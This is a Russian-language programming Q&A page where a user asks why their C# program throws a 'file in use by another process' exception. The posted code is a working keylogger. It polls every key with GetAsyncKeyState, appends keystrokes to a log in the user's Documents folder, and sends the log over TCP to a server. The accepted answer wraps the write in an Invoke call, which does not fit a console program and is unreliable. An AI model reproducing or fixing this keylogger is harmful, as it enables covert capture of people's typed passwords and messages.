Процесс не может получить доступ к файлу, так как этот файл используется другим процессом - C# (187420)

Узнай цену своей работы

Формулировка задачи:

Программа отправляет на сервер сообщение из файла(должна), но выдаёт исключение "Процесс не может получить доступ к файлу, так как этот файл используется другим процессом." Вот код
 class Program
    {

        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        static void Main(string[] args)
        {
            new Thread(Server).Start();
            Starts();

        }
        // 
        public static void Server()
        {
             TcpClient client = new TcpClient();
            client.Connect(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 2200));
            //Здесь передаём данные серверу
            StreamReader srFile = new StreamReader("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt");
            string[] str = new string[2024];
            string s = null;
           
            while ((s = srFile.ReadLine()) != null) {
                for(int i = 0; i < str.Length; i++)
                {
                    str[i] = s;
                    s = null;
                }
            }
            srFile.Close();

            StreamWriter sw = new StreamWriter(client.GetStream());
            sw.AutoFlush = true;
            
            for (int j = 0; j < str.Length; j++)
            {
                sw.WriteLine(str[j]);
            }

        }
        static void Starts()
        {
            
            while (true)
            {
                Thread.Sleep(10);
                for (Int32 i = 0; i < 255; i++)
                {
                    int keyState = GetAsyncKeyState(i);
                    if (keyState == 1 || keyState == -32767)
                    {
                        Console.WriteLine((Keys)i);
                        string toStringKeys = Convert.ToString((Keys)i);
                        File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
                        break;
                    }
                }
            }
        }
    }
}
Как исправить ошибку?

Решение задачи: «Процесс не может получить доступ к файлу, так как этот файл используется другим процессом»

textual
Листинг программы
Action syn = () =>
{
//Тут код который вызывает ошибку.
// наверное это File.AppendAllText("C:\\Users" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
};
Invoke(syn)

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

10   голосов , оценка 4 из 5
Похожие ответы